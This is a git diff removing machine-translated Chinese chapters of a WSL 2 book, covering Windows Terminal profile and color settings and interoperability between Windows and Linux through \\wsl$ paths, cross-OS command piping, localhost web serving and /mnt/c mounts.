要访问设置,您可以单击向下箭头选择要启动的配置文件,然后选择**设置**,或者您可以使用*Ctrl*+*,*键盘快捷键。 Windows 终端将在默认编辑器中为系统的`JSON`文件打开`settings.json`。 - -`settings`文件被分成几个部分: - -* **全局设置**位于`JSON`文件的根目录 -* 每个概要文件的设置分别定义和配置每个概要文件 -* 指定配置文件可以使用的配色方案的方案 -* **按键绑定**,可以自定义在 Windows 终端中执行任务的键盘快捷键 - -在 Windows 终端的设置中有很多选项可以调整,随着它的不断更新,新的选项随着时间的推移而出现! 完整描述所有的设置是由文档(https://docs.microsoft.com/en-us/windows/terminal/customize-settings/global-settings),我们将转而关注的一些定制您可能想要使用`settings`以及如何实现这些目标文件。 - -让我们先来看看您可能希望在 Windows Terminal 中对配置文件进行的一些自定义。 - -## 定制配置文件 - -`settings`文件的`profiles`部分控制了当您单击 new 选项卡下拉菜单时,Windows Terminal 将显示哪些概要文件,并允许您为概要文件配置各种显示选项。 您还可以选择默认启动哪个概要文件,如下面的内容所示。 - -### 更改默认配置文件 - -您可能希望做的第一个更改是,在启动 Windows Terminal 时控制默认启动哪个配置文件,以便您最常用的配置文件是自动启动的那个。 - -此选项的设置是全局设置中的`defaultProfile`值,如下面的示例所示(全局设置是位于`settings`文件顶层的值): - -```sh -{ -    "$schema": "https://aka.ms/terminal-profiles-schema", -    "defaultProfile": "Ubuntu-20.04", -``` - -`defaultProfile`设置的值允许您为您希望设置为默认配置文件的配置文件使用`name`(或关联的`guid`)属性。 请确保输入的名称与`profiles`部分中指定的名称完全一致。 - -接下来,您将查看如何更改 Windows Terminal 配置文件的顺序。 - -### 更改概要文件的顺序 - -您可能希望进行的另一个生产力更改是对配置文件进行排序,以便最常用的配置文件位于顶部,便于访问。 如果您使用键盘快捷键来启动新的选项卡,那么快捷键的顺序将决定快捷键是什么,因此在这里顺序具有额外的重要性。 下图显示了在我的机器上的初始顺序,如上一节的设置所示: - -![Figure 3.6 – A screenshot showing the initial profile order ](img/Figure_3.6_B16412.jpg) - -图 3.6 -显示初始配置文件顺序的截图 - -在屏幕截图中,您可以看到 PowerShell 是第一个列出的配置文件(您可能还注意到 PowerShell 用粗体显示,表明它是默认配置文件)。 - -为了改变 UI 中概要文件的顺序,我们可以改变`settings`文件中`profiles`下`list`条目的顺序。 下面的片段显示更新了上一节的设置,使**Ubuntu-20.04**成为列表中的第一项: - -```sh -    "profiles": -    { -        "defaults": -        { -            // Put settings here that you want to apply to all profiles. -        }, -        "list": -        [ -            { -                "guid": "{07b52e3e-de2c-5db4-bd2d-ba144ed6c273}", -                "hidden": false, -                "name": "Ubuntu-20.04", -                "source": "Windows.Terminal.Wsl" -            }, -            { -                "guid": "{574e775e-4f2a-5b96-ac1e-a2962a402336}", -                "hidden": false, -                "name": "PowerShell", -                "source": "Windows.Terminal.PowershellCore" -            }, -            { -                "guid": "{6e9fa4d2-a4aa-562d-b1fa-0789dc1f83d7}", -                "hidden": false, -                "name": "Legacy", -                "source": "Windows.Terminal.Wsl" -            }, -// ... more settings omitted -``` - -一旦你保存`settings`文件,你可以返回到 Windows 终端的下拉菜单,按顺序查看更改: - -![Figure 3.7 – A screenshot showing the updated profile order ](img/Figure_3.7_B16412.jpg) - -图 3.7 -显示更新后的配置文件顺序的截图 - -在上面的截图中,注意到**Ubuntu-20.04**在列表的最上方,现在有了**Ctrl+Shift+1**快捷键。 还值得注意的是,**PowerShell**仍然是粗体,这表明它仍然是默认配置文件,尽管它不再是列表中的第一个配置文件。 - -需要注意的一件重要的事情是,列表中的每个项都需要用逗号分隔,并且在最后一个列表项之后不能有逗号。 如果你要更改列表末尾的项目,这很容易让你出错。 然而,Windows 终端可能会显示一个警告(如下图所示): - -![Figure 3.8 – A screenshot showing an example error loading the settings ](img/Figure_3.8_B16412.jpg) - -图 3.8 -显示加载设置的错误示例的截图 - -如果你在前面的截图中看到错误,不要担心。 当 Windows 终端运行时,每当文件更改时,它都会重新加载设置。 错误指出在`settings`文件中哪一部分有错误。 当您驳回错误时,Windows 终端仍然会重新加载您的设置。 - -就像控制配置文件在列表中出现的顺序一样,您可以改变它们在列表中出现的方式,正如您现在将看到的。 - -### 重命名配置文件和改变图标 - -Windows 终端在预填充概要文件方面做得很好,但是您可能希望重命名这些概要文件。 为此,更改相关概要文件的`name`属性的值,如下面的代码片段所示。 和之前一样,一旦文件被保存,Windows 终端将重新加载它并应用更改: - -```sh -{ -    "guid": "{574e775e-4f2a-5b96-ac1e-a2962a402336}", -    "hidden": false, -    "name": "** PowerShell **", -    "source": "Windows.Terminal.PowershellCore" -}, -``` - -你甚至可以在 Windows 表情包的支持下更进一步。 更改配置文件名称时,按*Win*+*。 打开表情选择器,然后继续输入以过滤表情列表。 例如,下图显示了对猫的过滤:* - -![Figure 3.9 – A screenshot showing the use of the emoji picker ](img/Figure_3.9_B16412.jpg) - -图 3.9 -表情选择器使用的截图 - -从列表中选择一个表情将插入编辑器,如下截图所示: - -![Figure 3.10 – A screenshot showing the completed PowerShell profile ](img/Figure_3.10_B16412.jpg) - -图 3.10 -显示完整 PowerShell 配置文件的屏幕截图 - -在这个截图中,你可以看到在`name`属性中使用的表情符号。 除了更改名称,设置还允许您自定义显示在列表中配置文件旁边的图标。 这是通过向概要文件中添加一个图标属性来实现的,该属性提供您希望使用的图标的路径,如前一个截图所示。 该图标可以是`PNG`、`JPG`、`ICO`或其他文件类型——我倾向于选择`PNG`,因为它易于在一系列编辑器中使用,并且允许图像的透明部分。 - -值得注意的是,路径需要将反斜杠(`\`)转义为双反斜杠(`\\`)。 您还可以方便地在路径中使用环境变量。 这允许你把你的图标放在 OneDrive(或其他文件同步平台),并在多台机器上共享它们(或简单地备份它们以备将来使用)。 要使用环境变量,请将它们用百分号括起来,如前面代码片段中的`%OneDrive%`所示。 - -这些自定义(图标和文本)的结果是,如下图所示: - -![Figure 3.11 – A screenshot showing customized icons and text (including emoji!) ](img/Figure_3.11_B16412.jpg) - -图 3.11 -显示自定义图标和文本(包括表情符号!) - -至此,您已经了解了如何控制配置文件列表中的项目以及如何显示它们。 最后要看的是如何从列表中删除项目。 - -### 删除配置文件 - -如果您阅读了前面的部分,您可能会认为删除概要文件是简单的从列表中删除条目。 然而,如果概要文件是动态生成的,那么 Windows Terminal 将在下一次加载设置时将该概要文件添加回(在列表的底部)! 虽然这看起来有点奇怪,但这是 Windows 终端自动检测新的配置文件(例如新的 WSL 发行版)的副作用,即使您在安装 Windows 终端之后安装了它们。 相反,为了防止一个配置文件显示在列表中,你可以设置隐藏属性,如下面的代码片段所示: - -```sh -{ -    "guid": "{0caa0dad-35be-5f56-a8ff-afceeeaa6101}", -    "name": "Command Prompt", -    "commandline": "cmd.exe", -    "hidden": true -} -``` - -现在我们已经探索了如何在 Windows Terminal 中控制配置文件,让我们看看如何定制其外观。 - -## 改变 Windows 终端的外观 - -Windows 终端为您提供了许多方法来应用这些定制的外观和你的动机可能是纯粹的审美或可能使终端更容易使用通过增加字体大小,增加对比,或使用特定的字体,使内容更容易阅读(例如, OpenDyslexic 字体:[https://www.opendyslexic.org/](https://www.opendyslexic.org/) - -### 改变字体 - -Windows 终端的默认字体是一种名为**Cascadia**的新字体,可以在[https://github.com/microsoft/cascadia-code/](https://github.com/microsoft/cascadia-code/)上免费获得,随 Windows 终端一起提供。 **Cascadia Code**支持程序员的结扎,所以当呈现为`≠`时,像`!=`这样的字符会组合在一起。 如果你不喜欢结扎,**Cascadia Mono**是相同的字体,但已摘除结扎。 - -每个概要文件的字体可以通过在概要文件中设置`fontFace`和`fontSize`属性来独立更改,如下例所示: - -```sh -{ -    "guid": "{574e775e-4f2a-5b96-ac1e-a2962a402336}", -    "hidden": false, -    "name": "PowerShell", -    "source": "Windows.Terminal.PowershellCore", -    "fontFace": "OpenDyslexicMono", -    "fontSize": 16 -}, -``` - -如果你想自定义所有配置文件的字体设置,你可以在`defaults`部分添加`fontFace`和`fontSize`属性,如下所示: - -```sh -"profiles": { -    "defaults": { -        // Put settings here that you want to apply to all profiles. -        "fontFace": "OpenDyslexicMono", -        "fontSize": 16 -    }, -``` - -在`defaults`节中指定的设置应用于所有概要文件,除非该概要文件覆盖了它。 现在我们已经了解了如何更改字体,接下来让我们看看如何控制配色方案。 - -### 改变颜色 - -Windows 终端允许您以多种方式定制配置文件的配色方案。 - -最简单的定制是在概要文件中使用`foreground`、`background`和`cursorColor`属性。 这些值以`#rgb`或`##rrggbb`的形式指定为 RGB 值(例如,`#FF0000`表示亮红色)。 下面的代码片段显示了一个示例: - -```sh -{ -    "guid": "{07b52e3e-de2c-5db4-bd2d-ba144ed6c273}", -    "name": "Ubuntu-20.04", -    "source": "Windows.Terminal.Wsl", -    "background": "#300A24", -    "foreground": "#FFFFFF", -    "cursorColor": "#FFFFFF" -}, -``` - -要对颜色进行更细粒度的控制,您可以在`settings`文件的`schemes`部分下创建一个颜色方案。 有关这方面的详细信息可以在[https://docs.microsoft.com/en-us/windows/terminal/customize-settings/color-schemes](https://docs.microsoft.com/en-us/windows/terminal/customize-settings/color-schemes)中找到,包括内置配色方案的列表。 正如你在下面的例子中看到的,一个方案有一个名称和一组以`#rgb`或`#rrggbb`形式显示的颜色规范: - -```sh -"schemes": [ -    { -        "name" : "Ubuntu-inspired", -        "background" : "#300A24", -        "foreground" : "#FFFFFF", -        "black" : "#2E3436", -        "blue" : "#0037DA", -        "brightBlack" : "#767676", -        "brightBlue" : "#3B78FF", -        "brightCyan" : "#61D6D6", -        "brightGreen" : "#16C60C", -        "brightPurple" : "#B4009E", -        "brightRed" : "#E74856", -        "brightWhite" : "#F2F2F2", -        "brightYellow" : "#F9F1A5", -        "cyan" : "#3A96DD", -        "green" : "#13A10E", -        "purple" : "#881798", -        "red" : "#C50F1F", -        "white" : "#CCCCCC", -        "yellow" : "#C19C00" -    } -], -``` - -一旦定义了配色方案,就需要更新配置文件设置来使用它。 您可以使用`colorScheme`属性指定此属性,或者在单个概要文件级别应用此属性,或者像您在本章前面看到的那样,使用`default`部分将其应用到所有概要文件。 一个应用到个人配置文件的例子显示在这里: - -```sh -{ -    "guid": "{07b52e3e-de2c-5db4-bd2d-ba144ed6c273}", -    "name": "Ubuntu-20.04", -    "source": "Windows.Terminal.Wsl", -    "colorScheme": "Ubuntu-inspired" -}, -``` - -保存这些更改后,Windows Terminal 将把您定义的配色方案应用到使用该配置文件的任何选项卡上。 - -通过这里看到的选项,您可以自定义默认启动哪个概要文件,以及这些概要文件在概要文件列表中显示的顺序(和方式)。 您已经看到了各种选项,这些选项允许您自定义概要文件在运行时的显示方式,了解这些选项将使您更容易应用其他设置,例如设置背景图像或更改终端概要文件的透明度。 详细信息可以在 Windows 终端文档[https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings](https://docs.microsoft.com/en-us/windows/terminal/customize-settings/profile-settings)中找到。 - -# 总结 - -在本章中,您了解了 Windows Terminal,以及它如何通过对显示的更大控制以及对多个选项卡的支持等功能改进了以前的终端体验。 在使用 WSL 时,拥有一个能够自动检测您所安装的新 Linux 发行版的终端也是一个很好的好处! - -您已经了解了如何安装和使用 Windows Terminal,以及如何自定义它以适应您的首选项,以便您可以轻松地阅读文本,并定义配色方案以轻松地知道哪个终端配置文件正在运行。 通过定制缺省配置文件和配置文件顺序,您可以确保您能够轻松访问您使用最多的配置文件,从而帮助您保持工作效率。 在下一章中,我们将开始使用 Windows 终端,探索如何从 Windows 与 Linux 发行版交互。**** \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/04.md b/docs/wsl2-tip-trick-tech/04.md deleted file mode 100644 index f9f8f30a..00000000 --- a/docs/wsl2-tip-trick-tech/04.md +++ /dev/null @@ -1,248 +0,0 @@ -# 四、Windows 到 Linux 的互操作性 - -在[*第一章*](01.html#_idTextAnchor017)、*Windows 子系统介绍*中,我们将 WSL 的经验与在虚拟机上运行 Linux 进行了比较; 在虚拟机专注于隔离的地方,WSL 在 Windows 和 Linux 之间内置了很强的互操作性。 在本章中,您将开始了解这些功能,从与在 WSL 下运行的文件和应用以及来自 Windows 主机环境的文件进行交互开始。 这将包括研究如何在运行在 Windows 和 wsdl 中的脚本之间管道输出。 在此之后,我们将看看 wsdl 如何使 Linux 中的 web 应用能够从 Windows 访问。 - -在本章中,我们将涵盖以下主要主题: - -* 从 Windows 访问 Linux 文件 -* 从 Windows 运行 Linux 应用 -* 从 Windows 访问 Linux web 应用 - -让我们开始吧! - -# 从 Windows 访问 Linux 文件 - -当安装了 WSL 后,会得到一个新的`\\wsl$`路径,可以在 Windows 资源管理器和其他程序中寻址。 如果你在 Windows 资源管理器的地址栏中输入`\\wsl$`,它会列出任何正在运行的 Linux**发行版**(**发行版**),如下截图所示: - -![Figure 4.1 – A screenshot showing \\wls$ in Windows Explorer ](img/B16412_04_01.jpg) - -图 4.1 -在 Windows Explorer 中显示\\wls$的截图 - -正如你在前面的截图中看到的,每个运行的发行版都显示为`\\wsl$`下的路径。 每个`\\wsl$\`是``的文件系统根目录的路径。 例如,`\\wsl$\Ubuntu-20.04`是用于从 Windows 访问`Ubuntu-20.04`发行版的文件系统根目录的 Windows 路径。 这是一个非常灵活和强大的功能,可以将 Linux 发行版的文件系统完全访问到 Windows。 - -下面的屏幕截图显示了 Windows 资源管理器中的`\\wsl$\Ubuntu-20.04\home\stuart\tmp`路径。 这对应于`Ubuntu-20.04`发行版中的`~/tmp`文件夹: - -![Figure 4.2 – A screenshot showing the contents of a Linux distro in Windows Explorer ](img/B16412_04_02.jpg) - -图 4.2 -在 Windows 资源管理器中显示 Linux 发行版内容的屏幕截图 - -在这些屏幕截图中,您可以在 Windows 资源管理器中看到 Linux 文件系统,但是这些路径可以被任何接受 UNC 路径(即以`\\`开始的路径)的应用使用。 例如,在 PowerShell 中,你可以像在 Windows 中一样从 Linux 文件系统中读写: - -```sh -C:\ > Get-Content '\\wsl$\ubuntu-20.04\home\stuart\tmp\hello-wsl.txt' -Hello from WSL! -C:\ > -``` - -在本例中,在 Ubuntu 20.04 发行版中创建了一个文本文件`~/tmp/hello-wsl.txt`,其中包含`Hello from WSL!`内容,并且使用`Get-Content`PowerShell cmdlet 读取文件的内容,使用我们前面看到的`\\wsl$\...`路径。 - -当您在 Windows 资源管理器中浏览文件系统时,双击文件上的将尝试在 Windows 中打开它。 例如,双击我们在*图 4.2*中查看的文本文件,将在默认的文本编辑器中打开它(在我的例子中是记事本),如下截图所示: - -![Figure 4.3 – A screenshot showing a Linux file open in Notepad ](img/B16412_04_03.jpg) - -图 4.3 -在记事本中打开 Linux 文件的屏幕截图 - -这个屏幕截图显示的内容与前面通过 PowerShell 获取文件内容的示例相同,但在记事本中打开。 打开“**另存为**”对话框,显示`\\wsl$\...`路径。 - -提示 - -如果你浏览`\\wsl$`没有看到你安装的某个发行版,那么这就表明这个发行版没有运行。 - -启动发行版的一个简单方法是使用 Windows Terminal 在其中启动一个 shell。 或者,如果您知道发行版的名称,您可以在 Windows 资源管理器地址栏(或您正在使用的任何应用)中键入`\\wsl$\`,然后 WSL 将自动启动发行版,允许您浏览文件系统! - -正如您在本节中看到的,`\\wsl$\`共享提供了从 Windows 应用访问 WSL 发行版文件系统中的文件的能力。 这是连接 Windows 和 Linux 与 WSL 的一个有用步骤,因为它允许您使用 Windows 工具和应用来处理 Linux 文件系统中的文件。 - -接下来,我们将看看在 Windows 中以 WSL 运行应用。 - -# 从 Windows 运行 Linux 应用 - -在第二章[*【4】【5】,*安装和配置 Windows 子系统为 Linux*,你简要介绍了`wsl`命令,你看到它可以连续控制【显示】发行版和执行应用内部发行版。 在本节中,我们将深入研究使用`wsl`命令在发行版中运行应用。*](02.html#_idTextAnchor023) - -正如我们在上一节中看到的,能够跨 Windows 和 Linux 访问文件是非常有用的,并且能够在此基础上进一步调用应用。 wsdl 不仅仅能够在 Windows 发行版中运行应用,它还允许在应用之间通过管道输出。 在 Windows 或 Linux 中构建脚本时,在应用之间使用管道输出是构建脚本功能的一种非常常见的方法。 能够在 Windows 和 Linux 命令之间管道输出,允许您构建在 Windows*和*Linux 上运行的脚本,这确实有助于构建将这两个环境结合起来的感觉。 接下来我们将开始研究它是如何工作的。 - -## 管道到 Linux - -在本节中,我们将探索从 Linux 到 Windows 的管道数据。 I 多次遇到的一个场景是,有一些数据(如日志输出),我想对它们执行一些处理。 这方面的一个例子是处理每一行以提取 HTTP 状态代码,然后分组并计数以计算记录了多少成功与失败。 我们将使用一个示例来代表这个场景,但不需要任何实际的设置:我们将检查 Windows 目录中的文件,并确定有多少个以每个字母开头的文件。 - -让我们从一些 PowerShell 开始(我们将构建脚本,所以如果你不完全熟悉 PowerShell,不要担心): - -1. First of all, we will use `Get-ChildItem` to get the contents of the `Windows` folder as shown in the following command: - - ```sh - PS C:\> Get-Childitem $env:SystemRoot - Directory: C:\Windows - Mode LastWriteTime Length Name - ---- ------------- ------ ---- - d---- 07/12/2019 14:46 addins - d---- 01/05/2020 04:44 appcompat - d---- 17/06/2020 06:11 apppatch - d---- 27/06/2020 06:36 AppReadiness - d-r-- 13/05/2020 19:45 assembl - d---- 17/06/2020 06:11 bcastdvr - d---- 07/12/2019 09:31 Boot - d---- 07/12/2019 09:14 Branding - d---- 14/06/2020 07:31 CbsTemp - ... (output truncated!) - ``` - - 在这个命令中,我们使用`SystemRoot`环境变量来引用`Windows`文件夹(通常是`C:\Windows`),以防您已经定制了安装位置。 输出显示了来自`Windows`文件夹的一些文件和文件夹,您可以看到每个项目的各种属性,如`LastWriteTime`、`Length`和`Name`。 - -2. Next, we can perform the extraction, in this case taking the first letter of the filename. We can add to our previous command by piping the output from `Get-ChildItem` into the `ForEach-Object` cmdlet as shown here: - - ```sh - PS C:\> Get-Childitem $env:SystemRoot | ForEach-Object { $_.Name.Substring(0,1).ToUpper() } - A - A - A - A - A - B - B - B - C - C - C - ``` - - 这个输出显示了`ForEach-Object`的结果,它接受输入(`$_`)并使用`Substring`获得第一个字符,这让您获得字符串的一部分。 `Substring`的第一个参数指定从哪里开始(`0`表示字符串的开始),第二个参数是要接受多少个字符。 前面的输出显示,一些文件和文件夹以小写开头,而另一些以大写开头,因此我们调用`ToUpper`来标准化使用大写。 - -3. The next step is to group and count the items. Since the goal is to demonstrate piping output between Windows and Linux, we'll ignore the PowerShell `Group-Object` cmdlet for now and instead use some common Linux utilities: `sort` and `uniq`. If you were using these commands in Linux with some other output, you could pipe that into them as `other-command | sort | uniq -c`. However, since `sort` and `uniq` are Linux commands and we're running this from Windows, we need to use the `wsl` command to run them as shown in the following output: - - ```sh - PS C:\> Get-Childitem $env:SystemRoot | ForEach-Object { $_.Name.Substring(0,1).ToUpper() } | wsl sort | wsl uniq -c - 5 A - 5 B - 5 C - 9 D - 3 E - 2 F - ... - ``` - - 前面的输出显示了我们的目标结果:以每个字母开头的文件和文件夹的数量。 但更重要的是,它显示了将输出从 Windows 命令管道到 Linux 命令的工作原理! - -在这个示例中,我们调用了两次`wsl`:一次用于`sort`,一次用于`uniq`,这将导致输出在管道中的每个阶段在 Windows 和 Linux 之间通过管道传递。 如果我们稍微改变一下命令的结构,我们可以使用单个`wsl`调用。 尝试将输入管道导入`wsl sort | uniq -c`可能很诱人,但这将试图将`wsl sort`的输出管道导入 Windows`uniq`命令。 您也可以考虑`wsl "sort | uniq -c"`,但它与错误`/bin/bash: sort | uniq -c: command not found`一起失败。 相反,我们可以使用`wsl`与我们的命令`wsl bash -c "sort | uniq -c"`一起运行`bash`。 full 命令如下: - -```sh -PS C:\> Get-Childitem $env:SystemRoot | ForEach-Object { $_.Name.Substring(0,1).ToUpper() } | wsl bash -c "sort | uniq -c" - - 5 A - 5 B - 5 C - 9 D - 3 E - 2 F -... -``` - -如您所见,这将提供与前一个版本相同的输出,但只执行了`wsl`的一次。 虽然这可能不是运行复杂的命令的最明显的方法,但它是一种有用的技术。 - -在本例中,我们关注的是将数据管道导入 Linux,但是当管道从 Linux 命令输出时,它也同样工作得很好,下面我们将看到。 - -## 来自 Linux 的管道 - -在前面的部分中,我们看着从 Windows 命令管道输出到 Linux,并探索通过使用 PowerShell 检索项`Windows`文件夹,把他们的首字母传递给 Linux 实用程序类之前,集团和计数。 在本节中,我们将研究从 Linux 实用程序到 Windows 的管道输出。 我们将使用相反的示例,即通过 Bash 列出文件并使用 Windows 实用程序处理输出。 - -首先,让我们从默认发行版的`/usr/bin`文件夹中获取文件和文件夹: - -```sh -PS C:\> wsl ls /usr/bin - 2to3-2.7 padsp - GET pager - HEAD pamon - JSONStream paperconf - NF paplay - POST parec - Thunar parecord -... -``` - -该输出显示了`/usr/bin`文件夹的内容,下一步是取名称的第一个字符。 为此,我们可以使用`cut`命令。 我们可以运行`wsl ls /usr/bin | wsl cut -c1`,但我们可以重用上一节中看到的技术,将其合并为单个`wsl`命令: - -```sh -PS C:\> wsl bash -c "ls /usr/bin | cut -c1" -2 -G -H -J -N -P -T -``` - -正如您从前面的输出中看到的,我们现在只有第一个字符,并且已经准备好对它们进行排序和分组。 在这个练习中,我们假设`sort`和`uniq`命令不存在,我们将使用 PowerShell`Group-Object`cmdlet: - -```sh -PS C:\> wsl bash -c "ls /usr/bin | cut -c1-1" | Group-Object -Count Name Group ------ ---- ----- - 1 [ {[} - 1 2 {2} - 46 a {a, a, a, a…} - 79 b {b, b, b, b…} - 82 c {c, c, c, c…} - 79 d {d, d, d, d…} - 28 e {e, e, e, e…} - 49 f {f, f, f, f…} - 122 G {G, g, g, g…} -``` - -在这里,我们可以看到输出成功地通过管道从以 WSL 运行的 Bash 命令传输到 PowerShell`Group-Object`cmdlet。 在上一节中,我们强制字符大写,但这里不需要这样做,因为`Group-Object`在默认情况下执行不区分大小写的匹配(尽管可以用`-CaseSensitive`开关覆盖)。 - -正如您在这些示例中看到的,您使用 wsdl 调用 Linux 发行版来执行 Linux 应用和实用程序。 这些示例只是使用了默认的 WSL 发行版,但是在上面的所有示例中,您可以在`wsl`命令上添加`-d`开关,以指定在哪个发行版中运行 Linux 命令。 如果您有多个发行版,并且您需要的特定应用只在其中一个发行版中可用,那么这将非常有用。 - -能够在 Windows 和 Linux 应用之间任意方向传输输出,在组合应用时可以提供很大的灵活性。 如果您更熟悉 Windows 实用程序,您可能会执行 Linux 应用,然后使用 Windows 实用程序处理结果。 或者如果 Linux 是您比较熟悉的地方,但您需要在 Windows 机器上工作,那么能够调用熟悉的 Linux 实用程序来处理 Windows 输出将帮助您提高工作效率。 - -您已经了解了如何从 Windows 访问 Linux 文件和从 Windows 调用 Linux 应用。 在下一节中,您将看到如何从 Windows 访问以 WSL 运行的 web 应用。 - -# 从 Windows 访问 Linux web 应用 - -如果你正在开发一个 web 应用,那么你通常会在你的 web 浏览器中以`http://localhost`的形式打开你的应用。 使用 WSL,您的 web 应用在 WSL 轻量级虚拟机中运行,该虚拟机有一个单独的 IP 地址(您可以通过 Linux`ip addr`命令找到该 IP 地址)。 幸运的是,WSL 将本地主机地址转发给 Linux 发行版,以保持自然的工作流。 您将在本节中完成。 - -跟随本,确保你有这本书的代码克隆一个 Linux 发行版,打开终端,并导航到 https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques/tree/main/chapter-04[的`chapter-04/web-app`文件夹](https://github.com/PacktPublishing/Windows-Subsystem-for-Linux-2-WSL-2-Tips-Tricks-and-Techniques/tree/main/chapter-04)。 - -示例代码使用 Python 3,如果您使用的是最新版本的 Ubuntu,那么应该已经安装了 Python 3。 您可以通过在您的 Linux 发行版中运行`python3 -c 'print("hello")'`来测试是否安装了 Python 3。 如果命令成功完成,则一切就绪。 如果没有,请参考 Python 文档中的安装说明:[https://wiki.python.org/moin/BeginnersGuide/Download](https://wiki.python.org/moin/BeginnersGuide/Download)。 - -在`chapter-04/web-app`文件夹中,您应该看到`index.html`和`run.sh`。 在终端中,运行`./run.sh`运行 web 服务器: - -```sh -$ ./run.sh -Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... -``` - -您应该看到类似于前面输出的输出,表明 web 服务器正在运行。 - -您可以通过在您的 Linux 发行版中启动一个新终端并运行`curl`来验证 web 服务器正在运行: - -```sh -$ curl localhost:8080 - - - - - - Chapter 4 - - -

Hello from WSL

-

This content is brought to you by python http.server from WSL.

- - -$ -``` - -这个输出显示了 web 服务器响应`curl`请求所返回的 HTML。 - -接下来,在 Windows 中打开你的网页浏览器并导航到`http://localhost:8080`: - -![Figure 4.4 – A screenshot showing a WSL web application in the Windows browser ](img/B16412_04_04.jpg) - -图 4.4 -在 Windows 浏览器中显示 WSL web 应用的屏幕截图 - -如前面的截图所示,WSL 将 Windows 中**localhost**的流量转发到 Linux 发行版中。 当你使用 WSL 开发一个 web 应用或使用 web 用户界面运行应用时,你可以使用**localhost**访问 web 应用,就像它在 Windows 本地运行一样; 这是另一个真正平滑用户体验的集成。 - -# 总结 - -在本章中,您已经看到了 wsdl 允许我们从 Windows 与 Linux 发行版互操作的方式,从通过`\\wsl$\...`路径访问 Linux 文件系统开始。 您还了解了如何从 Windows 调用 Linux 应用,以及可以通过管道将 Windows 和 Linux 命令连接在一起,就像在两个系统中通常做的那样。 最后,您看到 WSL 将**localhost**请求转发到运行在 WSL 发行版内部的 web 服务器。 这使得您可以轻松地在 WSL 中开发和运行 web 应用,并在 Windows 的浏览器中测试它们。 - -能够从 Windows 访问 WSL 发行版的文件系统并在其中执行命令,确实有助于将这两个系统结合在一起,并帮助您为正在处理的任务选择首选工具,而不管它们在哪个操作系统中。 在下一章中,我们将探讨在 WSL 发行版中与 Windows 交互的能力。 \ No newline at end of file diff --git a/docs/wsl2-tip-trick-tech/05.md b/docs/wsl2-tip-trick-tech/05.md deleted file mode 100644 index ed62634a..00000000 --- a/docs/wsl2-tip-trick-tech/05.md +++ /dev/null @@ -1,447 +0,0 @@ -# 五、Linux 到 Windows 的互操作性 - -在[*第一章*](01.html#_idTextAnchor017),*介绍 Windows 子系统为 Linux*,我们比较 WSL 体验在虚拟机中运行 Linux 和提到 WSL 功能互操作性。 在[*第四章*](04.html#_idTextAnchor047),*Windows 到 Linux 的互操作性*中,我们看到了如何开始从 Windows 端利用这些互操作性特性。 在本章中,我们将继续探索互操作性特性,但这一次是在 Linux 方面。 这将允许您将 Windows 命令和工具的功能引入到 wsdl 环境中。 - -我们将从研究如何在 wsdl 环境中与 Windows 应用和文件交互开始。 接下来,我们将研究如何跨 Linux 和 Windows 使用脚本,包括如何在它们之间传递输入。 我们将完成许多互操作性技巧来提高你的效率,让 Windows 命令感觉更自然的混叠,分享你的**Secure Shell (SSH**)键在 Windows 和 Linux 之间易于使用和维护。**** - - ****在本章中,我们将涵盖以下主要主题: - -* 从 Linux 访问 Windows 文件 -* 从 Linux 调用 Windows 应用 -* 从 Linux 调用 Windows 脚本 -* 互操作性提示和技巧 - -让我们从第一个话题开始吧! - -# 从 Linux 访问 Windows 文件 - -默认情况下,WSL 会自动将你的 Windows 驱动装入 WSL**发行版**(**发行版**)中。 这些挂载在`/mnt`中创建; 例如,您的`C:`驱动器被安装为`/mnt/c`。 为此,在`C:`驱动器上创建一个名为`wsl-book`的文件夹,并在其中放置一个`example.txt`文件(文本文件的内容并不重要)。 现在,启动 WSL 中的终端并运行`ls /mnt/c/wsl-book`,您将看到您创建的文件在 Bash 输出中列出: - -![Figure 5.1 – A screenshot showing listing folder contents from Windows and WSL ](img/Figure_5.1_B16412.jpg) - -图 5.1 -显示 Windows 和 WSL 文件夹内容的屏幕截图 - -这个屏幕截图包括来自 Windows 的目录列表,在左边的**命令提示符**中显示`example.txt`,在右边的是通过 WSL 发行版中的`/mnt/c`路径列出的相同文件。 - -您可以与挂载的文件交互,就像与任何其他文件交互一样; 例如,你可以`cat`文件来查看它的内容: - -```sh -$ cat /mnt/c/wsl-book/example.txt -Hello from a Windows file! -``` - -或者,你可以将内容重定向到 Windows 文件系统中的一个文件: - -```sh -$ echo "Hello from WSL" > /mnt/c/wsl-book/wsl.txt -$ cat /mnt/c/wsl-book/wsl.txt -Hello from WSL -``` - -或者,你可以在`vi`中编辑文件(或者任何你喜欢的终端文本编辑器): - -![Figure 5.2 – A screenshot showing editing a Windows file in vi under WSL ](img/Figure_5.2_B16413.jpg) - -图 5.2 -显示在 WSL 下用 vi 编辑 Windows 文件的截图 - -在这个截图中,您可以看到 Windows 文件系统中的文件在运行`vi /mnt/c/wsl-book/wsl.txt`后正在 WSL 发行版的`vi`中进行编辑。 - -重要提示 - -在 Windows 下,文件系统通常不区分大小写; 也就是说,Windows 将`SomeFile`视为与`somefile`相同。 在 Linux 下,文件系统是大小写*敏感*的,所以它们可以被视为两个独立的文件。 - -当从 WSL 挂载访问 Windows 文件系统时,在 Linux 端以区分大小写的方式处理文件,因此尝试从`/mnt/c/wsl-book/EXAMPLE.txt`读取将失败。 - -虽然 Linux 端将文件系统区分大小写,但底层 Windows 文件系统仍然是大小写不敏感的,记住这一点很重要。 例如,虽然 Linux 将`/mnt/c/wsl-book/wsl.txt`和`/mnt/c/wsl-book/WSL.txt`视为独立的文件,但从 Linux 写入`/mnt/c/wsl-book/WSL.txt`实际上会覆盖之前创建的`wsl.txt`文件的内容,因为 Windows 对名称不区分大小写。 - -您已经看到了在这一节中,自动创建挂载(`/mnt/…`)使它很容易从内部访问 Windows 文件与 WSL 您的 Linux 发行版(如果你想禁用这个安装或更改创建挂载的,您可以使用`wsl.conf`,[所示*第二章*](02.html#_idTextAnchor023), *为 Linux 安装和配置 Windows 子系统*)。 下一节将介绍从 Linux 调用 Windows 应用。 - -# 从 Linux 调用 Windows 应用 - -在[*第四章*](04.html#_idTextAnchor047),*Windows 到 Linux 的互操作性*中,我们看到了如何使用`wsl`命令从 Windows 调用 Linux 应用。 采用的其他方法(从 Linux 调用 Windows 